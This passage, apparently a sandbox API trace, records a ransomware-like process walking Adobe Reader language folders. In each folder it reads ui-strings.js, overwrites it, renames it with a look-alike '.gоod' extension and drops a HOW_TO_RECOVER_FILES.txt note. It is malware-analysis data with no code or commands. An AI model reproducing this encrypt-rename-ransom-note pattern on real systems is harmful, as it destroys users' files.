returned 1 [0255.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0255.548] GetFileType (hFile=0x864) returned 0x1 [0255.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0255.548] GetFileType (hFile=0x864) returned 0x1 [0255.548] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x353 [0255.548] ReadFile (in: hFile=0x864, lpBuffer=0x3b0bc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3b0bc98*, lpNumberOfBytesRead=0x20beb8c8*=0x353, lpOverlapped=0x0) returned 1 [0255.789] CloseHandle (hObject=0x864) returned 1 [0255.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0255.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0255.828] GetFileType (hFile=0x864) returned 0x1 [0255.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0255.828] GetFileType (hFile=0x864) returned 0x1 [0255.828] WriteFile (in: hFile=0x864, lpBuffer=0x3c06020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3c06020*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0255.829] CloseHandle (hObject=0x864) returned 1 [0255.829] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.829] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0255.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0255.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94b2db53, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0255.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0255.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0255.832] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0255.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0255.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0255.833] GetFileType (hFile=0x864) returned 0x1 [0255.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0255.833] GetFileType (hFile=0x864) returned 0x1 [0255.833] WriteFile (in: hFile=0x864, lpBuffer=0x3c0ac10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c0ac10*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.834] CloseHandle (hObject=0x864) returned 1 [0255.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0255.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x7e [0255.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0255.834] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.835] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0255.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0255.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0255.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0255.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x7e [0255.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.835] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.258] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.258] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.259] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0256.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0256.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0256.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0256.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ca1100 | out: lpFileInformation=0x3ca1100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356)) returned 1 [0256.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0256.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0256.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0256.259] GetFileType (hFile=0x864) returned 0x1 [0256.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0256.260] GetFileType (hFile=0x864) returned 0x1 [0256.260] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x356 [0256.260] ReadFile (in: hFile=0x864, lpBuffer=0x3ca1820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3ca1820*, lpNumberOfBytesRead=0x20beb8c8*=0x356, lpOverlapped=0x0) returned 1 [0256.261] CloseHandle (hObject=0x864) returned 1 [0256.304] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0256.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.467] GetFileType (hFile=0x828) returned 0x1 [0256.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0256.467] GetFileType (hFile=0x828) returned 0x1 [0256.467] WriteFile (in: hFile=0x828, lpBuffer=0x3c89228*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3c89228*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0256.471] CloseHandle (hObject=0x828) returned 1 [0256.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0256.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0256.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95149b75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0256.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0256.472] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0256.473] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0256.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0256.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.474] GetFileType (hFile=0x828) returned 0x1 [0256.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0256.474] GetFileType (hFile=0x828) returned 0x1 [0256.474] WriteFile (in: hFile=0x828, lpBuffer=0x3c8eac8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c8eac8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.475] CloseHandle (hObject=0x828) returned 1 [0256.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0256.475] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de", lpFilePart=0x0) returned 0x7e [0256.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0256.476] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.476] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.476] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.476] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0256.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0256.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0256.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0256.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de", lpFilePart=0x0) returned 0x7e [0256.476] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0256.477] FindNextFileW (in: hFindFile=0x134b520, 